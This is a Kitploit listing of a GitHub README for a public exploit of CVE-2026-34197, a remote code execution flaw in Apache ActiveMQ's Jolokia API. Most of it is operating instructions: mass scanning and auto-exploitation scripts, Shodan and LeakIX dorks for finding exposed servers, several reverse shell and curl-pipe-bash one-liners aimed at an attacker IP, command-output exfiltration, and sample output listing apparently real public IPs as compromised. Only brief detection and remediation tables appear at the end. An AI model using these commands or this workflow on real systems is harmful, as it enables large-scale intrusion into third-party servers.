Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-34197 — Exploit for Apache ActiveMQ RCE via Jolokia API (CVE-2026-34197) with command output capture, mass scanning, and auto-exploitation. | Kitploit
Tools/GitHubGitHub/kondordevsecuritycorp/cve-2026-34197
Vulnerability ScannersPayload GenerationExploitationWeb Application ExploitationPenetration TestingRed TeamingLabs & Practice
GitHubkondordevsecuritycorp/cve-2026-34197

CVE-2026-34197

Exploit for Apache ActiveMQ RCE via Jolokia API (CVE-2026-34197) with command output capture, mass scanning, and auto-exploitation.

View Repository
2145 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-34197 CVSS 9.8 RCE Python 3.8+

Apache ActiveMQ Jolokia Spring

CVE-2026-34197

Apache ActiveMQ Remote Code Execution via Jolokia API

Author

Stars
Forks
Issues
License

Overview • Details • Attack Flow • Quick Start • ATTACKER_IP Guide • Usage • Output Capture • Scanner • Hunting • Detection • Remediation


Overview

CVE-2026-34197 is a critical Remote Code Execution (RCE) vulnerability in Apache ActiveMQ Classic that allows an authenticated attacker to execute arbitrary operating system commands through the Jolokia API exposed on the web console.

The vulnerability has existed for over 13 years and resides in the interaction between Jolokia (HTTP-JMX bridge), ActiveMQ MBeans, network connectors, and the VM transport.

[!CAUTION] This is a first public PoC developed by KONDOR DEV SECURITY. Use only in authorized security assessments.

Key Features

  • Command output capture — simple commands (id, whoami, cat /etc/passwd) automatically display their output in your terminal
  • Auto base64 wrapping — reverse shells and special characters work without manual escaping
  • 2-phase scanner (version_check.py) — multithreaded version detection + targeted exploitation
  • Auth fallback — automatically tries no-auth if credentials fail (CVE-2024-32114)
  • Smart broker detection — auto-detects the broker name via Jolokia wildcard queries

Vulnerability Details

CVE IDCVE-2026-34197
Severity CVSS 3.1
TypeRemote Code Execution (RCE)
CWECWE-20 (Improper Input Validation) / CWE-94 (Code Injection)
AffectedActiveMQ Classic < 5.19.4 and 6.0.0 — 6.2.2
Patched5.19.4 / 6.2.3
Auth RequiredYes (default credentials admin:admin are common)
No Auth Needed6.0.0 — 6.1.1 (due to CVE-2024-32114)
Default Port8161 (web console)

Attack Flow

root@kitploit:~
                    CVE-2026-34197 — Exploitation Chain
 ──────────────────────────────────────────────────────────────

   ATTACKER                                 ACTIVEMQ SERVER
   ────────                                 ───────────────
       │                                          │
   [1] │── POST /api/jolokia/ ──────────────────>│
       │   addNetworkConnector(                   │
       │     vm://rce?brokerConfig=               │
       │     xbean:http://ATTACKER/payload.xml)   │
       │                                          │
       │                                     [2]  │── Creates VM broker
       │                                          │── Fetches remote XML
       │                                          │
   [3] │<── GET /payload.xml ─────────────────────│
       │── Serves malicious Spring XML ─────────>│
       │                                          │
       │                                     [4]  │── Spring instantiates beans
       │                                          │── Runtime.exec(COMMAND)
       │                                          │── ** RCE ACHIEVED **
       │                                          │
   [5] │<── POST /output (command stdout) ────────│  (auto, for simple commands)
       │── Displays command output                │
       │                                          │

Step-by-step breakdown

StepActionComponent
1Attacker sends POST to /api/jolokia/ invoking addNetworkConnector on the Broker MBeanJolokia API
2ActiveMQ processes the vm:// transport URI and creates an ephemeral broker with brokerConfig pointing to a remote URLVM Transport
3The xbean: scheme triggers download of a Spring XML configuration file from the attacker's serverSpring / XBean
4Spring instantiates all beans in the XML, including one that calls Runtime.getRuntime().exec()Spring Context
5For simple commands, the output is captured and sent back via HTTP POST to the attacker's listener (automatic)Output Capture

Project Structure

root@kitploit:~
CVE-2026-34197/
├── exploit.py             # PoC exploit (single target + mass scan)
├── version_check.py       # Scanner + Auto-Exploit (2-phase pipeline)
├── payloads/
│   └── template.xml       # Spring XML payload template
├── targets.txt            # Target URLs (one per line)
├── docker/
│   └── docker-compose.yml # Vulnerable lab environment
├── docs/
│   ├── HUNTING_GUIDE_EN.md  # Target hunting guide (English)
│   └── HUNTING_GUIDE_ES.md  # Guía de búsqueda (Español)
├── LICENSE
└── README.md

Quick Start

Prerequisites

root@kitploit:~
# Python 3.8+ required
pip install requests

Lab Environment (Docker)

root@kitploit:~
cd docker
docker-compose up -d
# ActiveMQ Classic 5.18.6 (vulnerable) → localhost:8161

Run the Exploit

root@kitploit:~
# Single target
python exploit.py -t http://TARGET:8161 -l YOUR_IP -c "id"

# Mass scan from file
python exploit.py -T targets.txt -l YOUR_IP -c "id"

Scanner + Auto-Exploit (recommended for mass targets)

root@kitploit:~
# Scan only — detect versions, no exploitation
python version_check.py -T targets.txt

# Scan + auto-exploit vulnerable targets
python version_check.py -T targets.txt -l YOUR_IP -c "id"

Understanding ATTACKER_IP (-l / --lhost)

The -l (or --lhost) parameter is critical for the exploit to work. It specifies the IP address where your machine will serve the malicious Spring XML payload. The target ActiveMQ server must be able to reach this IP over the network to download the payload.

What is ATTACKER_IP?

When the exploit fires, it tells ActiveMQ: "Download your configuration from http://ATTACKER_IP:8888/payload.xml". ActiveMQ then makes an outbound HTTP request to your machine. If it can't reach you, the exploit fails silently.

root@kitploit:~
  YOUR MACHINE                          TARGET (ActiveMQ)
  ────────────                          ─────────────────
  ATTACKER_IP:8888 ◄──── HTTP GET ──── "fetch xbean:http://ATTACKER_IP:8888/payload.xml"
  (serves payload.xml)                  (downloads & executes)

How to determine your ATTACKER_IP

ScenarioHow to find itExample
Same LAN (lab, internal pentest)Your local/private IPip a → 192.168.1.50
VPN (HTB, THM, internal network)Your VPN tunnel IPip a show tun0 → 10.10.14.23
Remote target over InternetYour public IPcurl ifconfig.me → 203.0.113.42
Cloud VPS (attacking from a server)The VPS public IPCheck your cloud provider dashboard
root@kitploit:~
# Linux — find your IPs
ip -4 addr show              # All interfaces
ip addr show tun0            # VPN interface (HTB/THM)
ip addr show eth0            # Ethernet / cloud
curl -s ifconfig.me          # Public IP

# Windows
ipconfig                     # All interfaces
(Invoke-WebRequest ifconfig.me).Content   # Public IP (PowerShell)

# macOS
ifconfig en0                 # Wi-Fi
ifconfig utun0               # VPN
curl -s ifconfig.me          # Public IP

Common mistakes

MistakeWhy it failsFix
Using 127.0.0.1 or localhostThe target tries to download from itself, not from youUse your real network IP
Using a private IP (192.168.x.x) for an Internet targetThe target can't route to your private networkUse your public IP or a VPS
Using your public IP but port 8888 is blockedFirewall/NAT drops the inbound connection from the targetOpen port 8888 in firewall/router, or use -lp with an open port
Using the wrong interface IP (e.g., eth0 instead of tun0)Target can't reach that network segmentMatch the interface that has a route to the target

Verifying connectivity before exploiting

Before running the exploit, confirm the target can reach your listener:

root@kitploit:~
# 1. Start a quick listener on your machine
python3 -c "import http.server; http.server.HTTPServer(('0.0.0.0', 8888), http.server.SimpleHTTPRequestHandler).serve_forever()"

# 2. From another machine (or the target's network), try:
curl http://ATTACKER_IP:8888/

# If you see a connection in the listener → connectivity confirmed
# If timeout → check firewalls, NAT, routing

Port forwarding (NAT scenarios)

If you're behind a router/NAT and attacking an Internet-facing target:

root@kitploit:~
# Option A: Use a cloud VPS (recommended)
# Run the exploit from a VPS with a public IP — no NAT issues

# Option B: Port forward on your router
# Forward external port 8888 → your_local_ip:8888 (TCP)
# Then use your PUBLIC IP as ATTACKER_IP

# Option C: Use ngrok (quick & dirty)
ngrok http 8888
# Use the ngrok URL — but note: the exploit uses raw HTTP, not ngrok's URL format
# This option is NOT recommended for this exploit

Firewall rules (if needed)

root@kitploit:~
# Linux (iptables)
sudo iptables -A INPUT -p tcp --dport 8888 -j ACCEPT

# Linux (ufw)
sudo ufw allow 8888/tcp

# Windows (PowerShell as admin)
New-NetFirewallRule -DisplayName "CVE-2026-34197 Listener" -Direction Inbound -Protocol TCP -LocalPort 8888 -Action Allow

Complete workflow example

root@kitploit:~
# Step 1: Identify your IP
$ ip addr show tun0
    inet 10.10.14.23/23 ...

# Step 2: Verify the target is vulnerable
$ python version_check.py -T targets.txt
  [+] http://10.129.45.67:8161 → 5.15.9 (admin) [VULNERABLE]

# Step 3: Run the exploit with YOUR correct IP
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"

# Step 4: For a reverse shell — start listener FIRST
$ nc -lvnp 4444                    # Terminal 1
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 \
    -c "bash -i >& /dev/tcp/10.10.14.23/4444 0>&1"   # Terminal 2

[!IMPORTANT] The ATTACKER_IP in -l and inside reverse shell commands (/dev/tcp/ATTACKER_IP/4444) must be the same reachable IP. If you use a different IP in the reverse shell command, the shell will connect to the wrong place.


Usage

Single Target

root@kitploit:~
# Basic usage with default credentials (admin:admin)
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id"

# Custom credentials
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "whoami" -u admin -p secret

# Custom HTTP listener port
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -lp 9999 -c "cat /etc/passwd"

# No-auth mode (ActiveMQ 6.0.0 — 6.1.1 via CVE-2024-32114)
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --no-auth

# Override broker name (if auto-detection fails)
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP -c "id" --broker-name mybroker

Mass Scan (Multiple Targets)

root@kitploit:~
# Scan targets from file, save vulnerable ones
python exploit.py -T targets.txt -l ATTACKER_IP -c "id"

# Custom output file
python exploit.py -T targets.txt -l ATTACKER_IP -c "id" -o vulnerable_hosts.txt

# Mass scan with custom credentials and port
python exploit.py -T targets.txt -l ATTACKER_IP -lp 9999 -c "id" -u myuser -p mypass

The targets.txt file should contain one URL per line:

root@kitploit:~
http://10.0.0.1:8161
http://10.0.0.2:8161
https://10.0.0.3:8161

Mass scan features:

  • Auto-deduplication — duplicate URLs are removed automatically
  • Single HTTP server — the payload server starts once and is reused for all targets
  • Auth fallback — if credentials fail (401), automatically retries without auth (CVE-2024-32114)
  • Randomized connector names — avoids JMX registration collisions between targets
  • Incremental save — vulnerable targets are saved immediately (safe to Ctrl+C)
  • HTTPS support — works with both HTTP and HTTPS targets

Reverse Shells

Reverse shells and commands with special characters (>, &, |, ;, $, etc.) are automatically base64-encoded to avoid XML/shell escaping issues.

root@kitploit:~
# Bash reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

# Netcat reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
  -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"

# Python reverse shell
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
  -c "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"

# Curl + bash (download & execute)
python exploit.py -t http://TARGET:8161 -l ATTACKER_IP \
  -c "curl http://ATTACKER_IP/shell.sh | bash"

# Mass reverse shell scan
python exploit.py -T targets.txt -l ATTACKER_IP \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

Note: Start your listener before running the exploit: nc -lvnp 4444

Command Output Capture

Both exploit.py and version_check.py can automatically capture and display command output for simple commands like id, whoami, cat /etc/passwd, hostname, etc.

How it works

When you run a simple command, the exploit automatically wraps it to send stdout/stderr back to your listener via HTTP POST:

root@kitploit:~
  YOUR MACHINE (ATTACKER_IP:8888)              TARGET (ActiveMQ)
  ───────────────────────────────              ─────────────────
  1. ◄── GET /payload.xml ─────────────────── Downloads XML payload
  2.     (payload served)                      Executes wrapped command:
                                                 OUTPUT=$(id 2>&1)
                                                 curl -s -X POST http://ATTACKER:8888/output -d "$OUTPUT"
  3. ◄── POST /output ────────────────────── Sends command output back
  4.     Displays: "uid=0(root) gid=0(root)..."

Example with output

root@kitploit:~
$ python exploit.py -t http://10.129.45.67:8161 -l 10.10.14.23 -c "id"

  [*] Target:    http://10.129.45.67:8161
  [*] Command:   id
  [*] Output:    capture enabled (will POST back to listener)
  [*] Broker:    localhost
  [*] Auth:      admin

  [*] Sending request to Jolokia...
  [+] Jolokia accepted the operation (status=200)
  [*] Waiting for the target to download the payload...
  [+] Payload served to 10.129.45.67
  [+] Target downloaded the payload. Command executed.
  [*] Waiting for command output...
  [+] Command output received:
  ──────────────────────────────────────────────────
  uid=0(root) gid=0(root) groups=0(root)
  ──────────────────────────────────────────────────

Auto-detection: when output is captured vs not

Command typeExampleBehavior
Simple commandsid, whoami, cat /etc/passwd, ls -la, uname -aOutput captured and displayed automatically
Reverse shellsbash -i >& /dev/tcp/..., nc ... -e /bin/sh, mkfifo...Detected as interactive — no wrapping, works as before
Commands using curl/wgetcurl http://..., wget http://...Detected as interactive — no wrapping, to avoid interference

The detection is automatic. You don't need to pass any extra flags.

Requirements on the target

Output capture requires curl or wget on the target system. If neither is available:

  • The command still executes (RCE still works)
  • You just won't see the output (the "Waiting for command output..." message will time out after 10s)
  • Use a reverse shell instead for full interaction

[!TIP] Most Linux systems (and ActiveMQ Docker images) have curl pre-installed. If output capture times out but RCE is confirmed, the target likely lacks both curl and wget.

Parameters

FlagDescriptionDefault
-t, --targetSingle target URL—
-T, --targets-fileFile with target URLs (one per line)—
-l, --lhostAttacker IP to serve the payloadrequired
-lp, --lportLocal HTTP server port8888
-c, --commandOS command to executerequired
-u, --userJolokia usernameadmin
-p, --passwordJolokia passwordadmin
--no-authSkip authenticationfalse
--broker-nameBroker name overrideauto-detect
-o, --outputOutput file for vulnerable targetsvulnerables.txt
--timeout-waitSeconds to wait for payload download15

Note: -t and -T are mutually exclusive. Use one or the other.


Version Scanner + Auto-Exploit (version_check.py)

The recommended tool for multiple targets. A 2-phase pipeline that first detects ActiveMQ versions across all targets (fast, multithreaded), then automatically exploits only the vulnerable ones with real RCE verification via payload callback.

When to use version_check.py vs exploit.py

ScenarioToolWhy
You have a list of targets and want to find which are vulnerableversion_check.pyScans versions first (fast), then exploits only vulnerable ones
You want to scan without exploiting (recon only)version_check.pyOmit -l/-c for scan-only mode
You have a single confirmed targetexploit.pySimpler, direct exploitation
You want to exploit one specific host right nowexploit.pyNo scanning overhead
You have 100+ targets from Shodan/LeakIXversion_check.pyMultithreaded Phase 1 handles large lists in seconds

How it works — 2 phases

root@kitploit:~
  ┌─────────────────────────────────────────────────────────┐
  │  PHASE 1 — Version Detection (fast, multithreaded)      │
  │                                                         │
  │  targets.txt ──→ 10 threads query Jolokia in parallel   │
  │                  GET .../BrokerVersion                   │
  │                                                         │
  │  For each target:                                       │
  │    1. Try auth (admin:admin)                            │
  │    2. If 401 → retry without auth (CVE-2024-32114)      │
  │    3. If brokerName=localhost fails → try wildcard (*)   │
  │    4. Extract: version, real broker name, working auth   │
  │    5. Classify: [VULNERABLE] or [PATCHED]               │
  │                                                         │
  │  Output: list of vulnerable candidates with metadata    │
  └──────────────────────┬──────────────────────────────────┘
                         │ only vulnerable targets
                         ▼
  ┌─────────────────────────────────────────────────────────┐
  │  PHASE 2 — RCE Verification (sequential, with callback) │
  │  (only runs if -l and -c are provided)                  │
  │                                                         │
  │  For each vulnerable target:                            │
  │    1. Generate Spring XML payload with command           │
  │    2. Send addNetworkConnector via Jolokia               │
  │    3. Wait for target to download payload (callback)     │
  │    4. If callback received → RCE CONFIRMED              │
  │                                                         │
  │  Output: confirmados.txt with RCE-confirmed targets     │
  └─────────────────────────────────────────────────────────┘

Version classification logic

The scanner classifies versions automatically based on the affected ranges:

VersionClassification
< 5.19.4 (e.g., 5.15.9, 5.18.6)[VULNERABLE]
>= 5.19.4 (e.g., 5.19.4, 5.20.0)[PATCHED]
6.0.0 through 6.2.2[VULNERABLE]
>= 6.2.3[PATCHED]

Step-by-step usage guide

Step 1 — Prepare your targets file

Create a targets.txt with one URL per line. Duplicates are removed automatically.

root@kitploit:~
http://10.0.0.1:8161
http://10.0.0.2:8161
https://10.0.0.3:8161
http://192.168.1.100:8161

[!TIP] Use the Hunting Guides to find targets via Shodan, LeakIX, FOFA, Censys, or Google Dorks.

Step 2 — Scan-only mode (reconnaissance, no exploitation)

If you only want to identify which targets are vulnerable without exploiting them, omit -l and -c:

root@kitploit:~
python version_check.py -T targets.txt

This runs only Phase 1. No HTTP server is started, no payloads are sent, no commands are executed. The output file will contain version info for each vulnerable target:

root@kitploit:~
http://52.234.160.12:8161 | 5.15.9 | admin | broker=localhost
http://62.151.178.135:8161 | 5.15.2 | admin | broker=mybroker

You can increase scan speed with more threads:

root@kitploit:~
python version_check.py -T targets.txt --threads 20

Step 3 — Scan + auto-exploit (full pipeline)

To scan and exploit in one run, add -l (your ATTACKER_IP) and -c (command):

root@kitploit:~
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"

This runs both phases:

  1. Phase 1 scans all targets for versions (multithreaded, fast)
  2. Phase 2 exploits only the [VULNERABLE] ones (sequential, with callback verification)

[!IMPORTANT] ATTACKER_IP must be reachable from the targets. The target ActiveMQ server will make an outbound HTTP request to http://ATTACKER_IP:8888/payload.xml. See the ATTACKER_IP guide for details on choosing the correct IP.

Step 4 — Check results

Confirmed vulnerable targets are saved incrementally to the output file (default: confirmados.txt):

root@kitploit:~
http://52.234.160.12:8161 | 5.15.9 | admin

The format is: URL | version | auth_method. You can then use these individually with exploit.py for further post-exploitation.

Usage examples

root@kitploit:~
# Scan only — detect versions (no exploitation)
python version_check.py -T targets.txt

# Scan + auto-exploit — full pipeline
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"

# Faster scan with 20 threads
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --threads 20

# Custom output, credentials, and port
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" -o pwned.txt -u admin -p secret -lp 9999

# Reverse shell (auto base64-wrapped)
# IMPORTANT: start your netcat listener FIRST on port 4444 (in a separate terminal):
#   nc -lvnp 4444
# The port in nc must match the port in /dev/tcp/.../4444
python version_check.py -T targets.txt -l ATTACKER_IP \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

# No-auth mode (for ActiveMQ 6.0.0 — 6.1.1)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --no-auth

# Longer callback wait (slow networks)
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" --wait 30

# Combine: fast threads + long wait + custom creds
python version_check.py -T targets.txt -l ATTACKER_IP -c "id" \
  --threads 30 --wait 20 -u operator -p s3cret -lp 9999 -o results.txt

How ATTACKER_IP works in version_check.py

The -l parameter behaves exactly as in exploit.py, but with one key difference: the HTTP server is started once and reused across all targets in Phase 2.

root@kitploit:~
  YOUR MACHINE (ATTACKER_IP)                   TARGETS
  ──────────────────────────                   ───────
  HTTP server on :8888                         Target 1 (v5.15.9) ──→ GET /payload.xml ──→ YOUR_IP:8888
    (started once, reused)                     Target 2 (v5.18.6) ──→ GET /payload.xml ──→ YOUR_IP:8888
                                               Target 3 (v6.2.3)  ──→ [PATCHED, skipped]

Phase 1 does NOT require ATTACKER_IP — it only queries Jolokia for version info. You can run Phase 1 alone to recon without exposing your IP.

Phase 2 requires ATTACKER_IP — the targets must reach your HTTP server to download the payload. If a target can't reach you, it will time out (default: 15s) and be marked as "no callback received" — but this doesn't necessarily mean it's not vulnerable (firewalls may block outbound traffic).

Parameters

FlagDescriptionDefault
-T, --targets-fileFile with target URLs (one per line)required
-l, --lhostAttacker IP for callback (enables Phase 2)—
-c, --commandCommand to execute (enables Phase 2)—
-lp, --lportLocal HTTP server port8888
-o, --outputOutput file for confirmed targetsconfirmados.txt
-u, --userJolokia usernameadmin
-p, --passwordJolokia passwordadmin
--no-authSkip authenticationfalse
--threadsConcurrent threads for Phase 110
--timeoutTimeout per request in Phase 110s
--waitSeconds to wait for callback in Phase 215s

Note: Both -l and -c must be provided together to enable Phase 2. If either is missing, only Phase 1 (scan) runs.

Features

  • 2-phase pipeline — fast version scan first, then targeted exploitation
  • Multithreaded Phase 1 — scans hundreds of targets in seconds
  • Smart broker detection — handles brokerName=* wildcard responses, extracts real broker name from MBean keys
  • Auth fallback — if admin:admin fails (401), retries without auth (CVE-2024-32114)
  • Randomized connector names — avoids JMX collisions (rce{random8} unique per target)
  • Auto base64 wrapping — reverse shells and special characters work out of the box
  • Incremental save — confirmed targets saved immediately (safe to Ctrl+C mid-scan)
  • Scan-only mode — omit -l/-c to just detect versions without exploiting
  • Version classification — marks [VULNERABLE] / [PATCHED] based on affected ranges
  • Single HTTP server — started once in Phase 2, reused for all targets (no port conflicts)

Reverse shells with version_check.py

When using version_check.py to send a reverse shell, you need two things running simultaneously:

  1. A netcat listener on your machine waiting for the incoming shell connection
  2. The version_check.py command that scans and exploits targets

The listener port (nc -lvnp PORT) must match the port inside the reverse shell command (/dev/tcp/ATTACKER_IP/PORT).

root@kitploit:~
  YOUR MACHINE (ATTACKER_IP)
  ──────────────────────────
  Terminal 1:  nc -lvnp 4444          ◄── Listening for reverse shell on port 4444
  Terminal 2:  version_check.py ...   ──► Scans targets, exploits vulnerable ones
                                          └─ sends: bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
                                                                                  ▲
  TARGET (ActiveMQ)                                                               │
  ─────────────────                                                               │
  Executes the command ──► bash connects back to ATTACKER_IP:4444 ────────────────┘

Step-by-step

root@kitploit:~
# ──── Terminal 1: Start the listener FIRST ────
# The port here (4444) must match the port in the -c command
nc -lvnp 4444

# ──── Terminal 2: Run the scanner + exploit ────
python version_check.py -T targets.txt -l ATTACKER_IP \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

Using a different port

You can use any port you want, as long as both sides match:

root@kitploit:~
# Terminal 1: listener on port 9001
nc -lvnp 9001

# Terminal 2: reverse shell pointing to port 9001
python version_check.py -T targets.txt -l ATTACKER_IP \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1"

Alternative reverse shell one-liners

root@kitploit:~
# Netcat reverse shell (listener: nc -lvnp 4444)
python version_check.py -T targets.txt -l ATTACKER_IP \
  -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"

# Python reverse shell (listener: nc -lvnp 4444)
python version_check.py -T targets.txt -l ATTACKER_IP \
  -c "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"

[!WARNING] Port confusion to avoid: The exploit uses two different ports for two different purposes:

  • -lp (default 8888) — the HTTP server port where ActiveMQ downloads the XML payload. This is handled automatically by the script.
  • The port inside /dev/tcp/.../4444 — the reverse shell callback port where YOU listen with nc. This is your responsibility to open.

These are independent. Don't confuse them. You need nc -lvnp 4444 for the shell, and the script handles :8888 internally.

Example output

root@kitploit:~
  ╔═══════════════════════════════════════════════════════════╗
  ║  CVE-2026-34197 — ActiveMQ Scanner + Auto-Exploit        ║
  ║  Phase 1: Version Detection (fast, multithreaded)        ║
  ║  Phase 2: RCE Verification (exploit + callback)          ║
  ║  By: KONDOR DEV SECURITY — t.me/KONDORDEVSECURITY        ║
  ╚═══════════════════════════════════════════════════════════╝

[*] 124 unique targets loaded
[*] Threads: 10 | Timeout: 10s
[*] Mode: SCAN + EXPLOIT (wait: 15s)
[*] Command: id

════════════════════════════════════════════════════════════
  PHASE 1 — Version detection (multithreaded)
════════════════════════════════════════════════════════════

  [+] [1/124] http://52.234.160.12:8161 → 5.15.9 (admin) [VULNERABLE]
  [+] [2/124] http://62.151.178.135:8161 → 5.15.2 (admin) [VULNERABLE]
  [+] [3/124] http://146.190.139.20:8161 → 5.15.6 (admin) [VULNERABLE]
  [-] [4/124] http://167.172.150.143:8161 → 401
  [-] [5/124] http://198.44.176.205:8161 → Connection refused

[*] Phase 1 complete: 3 with version, 3 vulnerable by version

════════════════════════════════════════════════════════════
  PHASE 2 — Real exploit (3 candidates)
════════════════════════════════════════════════════════════

[+] HTTP server on 0.0.0.0:8888

  [1/3] http://52.234.160.12:8161 (v5.15.9, broker=localhost)
    [*] Sending exploit...
    [+] Jolokia accepted (status=200)
    [+] Payload downloaded by 52.234.160.12
    [+] Command output:
    ──────────────────────────────────────────────
    uid=0(root) gid=0(root) groups=0(root)
    ──────────────────────────────────────────────
    [+] ✓ RCE CONFIRMED — http://52.234.160.12:8161 (v5.15.9)

  [2/3] http://62.151.178.135:8161 (v5.15.2, broker=mybroker)
    [*] Sending exploit...
    [+] Jolokia accepted (status=200)
    [*] No callback received within 15s

  [3/3] http://146.190.139.20:8161 (v5.15.6, broker=localhost)
    [*] Sending exploit...
    [+] Jolokia accepted (status=200)
    [+] Payload downloaded by 146.190.139.20
    [+] Command output:
    ──────────────────────────────────────────────
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    ──────────────────────────────────────────────
    [+] ✓ RCE CONFIRMED — http://146.190.139.20:8161 (v5.15.6)

════════════════════════════════════════════════════════════
  FINAL SUMMARY
════════════════════════════════════════════════════════════
[*] Total scanned:           124
[*] Version detected:        3
[*] Vulnerable by version:   3
[+] RCE CONFIRMED:           2

[+] Saved to: confirmed.txt

    ✓ http://52.234.160.12:8161 | v5.15.9 | admin
    ✓ http://146.190.139.20:8161 | v5.15.6 | admin

Understanding Phase 2 results

Phase 2 resultWhat it meansNext step
RCE CONFIRMED + Command output:Target executed the command and sent output backFull success — you can see the output directly
RCE CONFIRMED (no output)Target downloaded payload but no output receivedRCE works, but curl/wget may be missing on target; use a reverse shell
No callback received within NsTarget did not reach your HTTP server in timeCheck ATTACKER_IP reachability, firewalls, or increase --wait
Jolokia accepted (status=200)Jolokia processed the request successfullyGood sign — wait for callback
Jolokia status=500: ...Jolokia returned an errorMay still work (the XML download can happen despite 500); check logs
HTTP 401Auth failed for this targetTarget needs different credentials
HTTP 403Jolokia is restrictedTarget has ACLs — not exploitable with this method
Connection refused / TimeoutTarget is unreachableNetwork issue or target is down

Recommended workflow for mass assessments

root@kitploit:~
# 1. Collect targets from Shodan (see Hunting Guides)
shodan search "ActiveMQ port:8161" --fields ip_str,port > raw_targets.txt

# 2. Format into targets.txt (one URL per line)
awk '{print "http://"$1}' raw_targets.txt > targets.txt

# 3. Phase 1 only — quick recon, no exploitation
python version_check.py -T targets.txt --threads 20
# Review output: which are vulnerable, which auth works

# 4. Full pipeline — scan + exploit with a safe command
python version_check.py -T targets.txt -l ATTACKER_IP -c "id"

# 5. For confirmed targets, get reverse shells individually
nc -lvnp 4444   # Terminal 1
python exploit.py -t http://CONFIRMED_TARGET:8161 -l ATTACKER_IP \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"   # Terminal 2

Hunting & Reconnaissance

Detailed guides for finding exposed Apache ActiveMQ instances using Shodan, LeakIX, FOFA, Censys, ZoomEye, and Google Dorks — including version-specific dorks, Jolokia detection, CLI/API usage, target validation steps, SIEM/IDS rules, and remediation priorities.

English Español

Quick Shodan Dorks

root@kitploit:~
"ActiveMQ" port:8161                                          # All exposed consoles
http.title:"Apache ActiveMQ"                                  # By page title
"ActiveMQ" http.html:"jolokia" port:8161                      # Jolokia exposed (attack vector)
http.title:"Apache ActiveMQ" -http.html:"5.19.4" -http.html:"6.2.3" port:8161  # Exclude patched

Quick LeakIX Queries

root@kitploit:~
+software:"Apache ActiveMQ" +port:"8161"                      # All exposed
+banner:"jolokia" +banner:"ActiveMQ"                           # Jolokia exposed
+software:"Apache ActiveMQ" +tag:"default-password"            # Default creds

Target Validation

root@kitploit:~
# Check version via Jolokia (single target)
curl -s -u admin:admin "http://TARGET:8161/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=localhost/BrokerVersion"

# Mass version scan (recommended)
python version_check.py -T targets.txt

[!TIP] See the full guides in docs/ for version-specific dorks, geo filters, API examples, IDS rules, and step-by-step validation workflows.


Detection

Log Indicators

root@kitploit:~
INFO  | Establishing network connection from vm://localhost to vm://rce*?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
WARN  | Could not connect to remote URI: vm://rce*?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml

Note: The rce* portion will contain random characters (e.g., rcek4m2x9ab) as the exploit randomizes connector names.

IOCs

IndicatorDescription
POST /api/jolokia/ with addNetworkConnectorExploitation attempt
Outbound HTTP GET from ActiveMQ processPayload XML download
Outbound HTTP POST from ActiveMQ process (command output exfiltration)Output capture callback
vm:// URIs with brokerConfig=xbean:httpMalicious connector
Unexpected child processes from Java/ActiveMQ (curl, wget, bash)Command execution / output exfil

Remediation

PriorityAction
P0Upgrade to ActiveMQ Classic 5.19.4 or 6.2.3
P1Change default web console credentials
P2Restrict network access to port 8161
P3Monitor broker logs for vm:// URIs with xbean:http patterns

Troubleshooting

ProblemLikely CauseSolution
No payload request received within 15sTarget can't reach your ATTACKER_IPVerify connectivity (see ATTACKER_IP guide)
Authentication failed (401)Wrong credentialsTry --no-auth (ActiveMQ 6.0.0-6.1.1) or find correct creds
Access forbidden (403)Jolokia API is restrictedTarget may have ACLs on /api/jolokia/ — not exploitable remotely
Connection error / Could not connectTarget is down or port is wrongVerify http://TARGET:8161/ is accessible
Jolokia status=500: could not be registered in JMXPrevious exploit connector still registeredThe exploit auto-retries with a new random name; try again
Reverse shell doesn't connect backDifferent IP in -l vs shell command, or port not listeningEnsure same IP everywhere; start nc -lvnp PORT before exploiting
